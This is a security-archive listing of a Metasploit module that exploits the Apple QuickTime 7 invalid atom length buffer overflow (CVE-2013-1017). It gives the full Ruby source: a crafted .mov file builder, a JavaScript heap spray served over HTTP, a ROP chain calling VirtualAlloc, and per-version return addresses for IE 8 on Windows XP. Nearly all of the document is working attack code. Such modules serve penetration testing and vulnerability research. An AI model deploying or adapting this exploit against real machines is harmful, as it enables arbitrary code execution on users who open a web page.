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Apple Quicktime 7 Invalid Atom Length Buffer Overflow

Apple Quicktime 7 Invalid Atom Length Buffer Overflow
Posted Jul 18, 2013
Authored by Jason Kratzer, sinn3r, Paul Bates, Tom Gallagher | Site metasploit.com

This Metasploit module exploits a vulnerability found in Apple Quicktime. The flaw is triggered when Quicktime fails to properly handle the data length for certain atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer overflow by loading a specially crafted .mov file, and allows arbitrary code execution under the context of the user.

tags | exploit, overflow, arbitrary, code execution
systems | apple
advisories | CVE-2013-1017
SHA-256 | 15145b2469bd29030e19b5448ca2e224d6efff120fdd50fb770f210db2a4b736

Apple Quicktime 7 Invalid Atom Length Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Apple Quicktime. The flaw is
triggered when Quicktime fails to properly handle the data length for certain
atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
overflow by loading a specially crafted .mov file, and allows arbitrary
code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
'Tom Gallagher', # Original Discovery (overlapped)
'Paul Bates', # Original Discovery (overlapped)
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-1017' ],
[ 'BID', '60097' ],
[ 'URL', 'http://support.apple.com/kb/HT5770' ]
],
'Platform' => 'win',
'Targets' =>
[
# All of the following addresses are from Quicktime.qts
# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
],
'Payload' =>
{
'BadChars' => "\x00" # js_property_spray no like nilz
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "May 22 2013"
))
end

def get_payload(t)
p = ''

rop =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")

p << rop
p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
p << payload.encoded

p
end


def targetable?(agent)
if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
return true
elsif agent =~ /contype/
# contype: a mov file request from Apple Quicktime
return true
end

false
end


def get_html(t)
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
fake_mov_name = rand_text_alpha(4) + ".mov"
html = %Q|
<html>
<head>
<script>
#{js_property_spray}

var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
</script>
</head>
<body>
<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
</body>
</html>
|

html.gsub(/^\t\t/, '')
end


def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("Requesting: #{request.uri}")

unless targetable?(agent)
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

print_status("Target selected as: #{target.name}") if target

if request.uri =~ /\.mov$/
print_status("Sending specially crafted .mov file")
send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
else
html = get_html(target)
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
end
end

def sort_bytes(data)
data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
end

def rop_nop(t)
[t['Nop']].pack('V*') # Ret (QuickTime.qts)
end

def exploit
buf = ''
buf << rand_text_alpha(467) # 467 to align the pivot
10.times {
buf << rop_nop(target)
}
buf << [
target['Pop'], # POP ESP; RET (QuickTime.qts)
0x20302020 # Target value for ESP (our ROP payload)
].pack('V*')
buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot
buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size

# Quicktime File Format Specifications:
# https://developer.apple.com/standards/qtff-2001.pdf
mov = "\x00\x00\x06\xDF" # File size
mov << "moov" # Movie atom
mov << "\x00\x00\x06\xD7" # size (1751d)
mov << "rmra" # Reference Movie atom
mov << "\x00\x00\x06\xCF" # size (1743d)
mov << "rmda" # rmda atom
mov << "\x00\x00\x06\xBF" # size (1727d)
mov << "rdrf" # Data reference atom
mov << "\x00\x00\x00\x00" # size set to 0
mov << "alis" # Data reference type: FS alias record
mov << "\x00\x00\x06\xAA" # Size (1706d)
mov << rand_text_alpha(8)
mov << "\x00\x00\x06\x61" # Size (1633d)
mov << rand_text_alpha(38)
mov << "\x12"
mov << rand_text_alpha(81)
mov << "\xFF\xFF"
mov << rand_text_alpha(18)
mov << "\x00\x08" # Size (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x08" # Size (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x26" # Size (38d)
mov << rand_text_alpha(38)
mov << "\x00\x0F\x00\x0E"
mov << "AA" # Size (must be invalid)
mov << rand_text_alpha(12)
mov << "\x00\x12\x00\x21"
mov << rand_text_alpha(36)
mov << "\x00"
mov << "\x0F\x33"
mov << rand_text_alpha(17)
mov << "\x02\xF4" # Size (756h)
mov << rand_text_alpha(756)
mov << "\xFF\xFF\x00\x00\x00"
mov << buf

@exploit = mov
super
end
end
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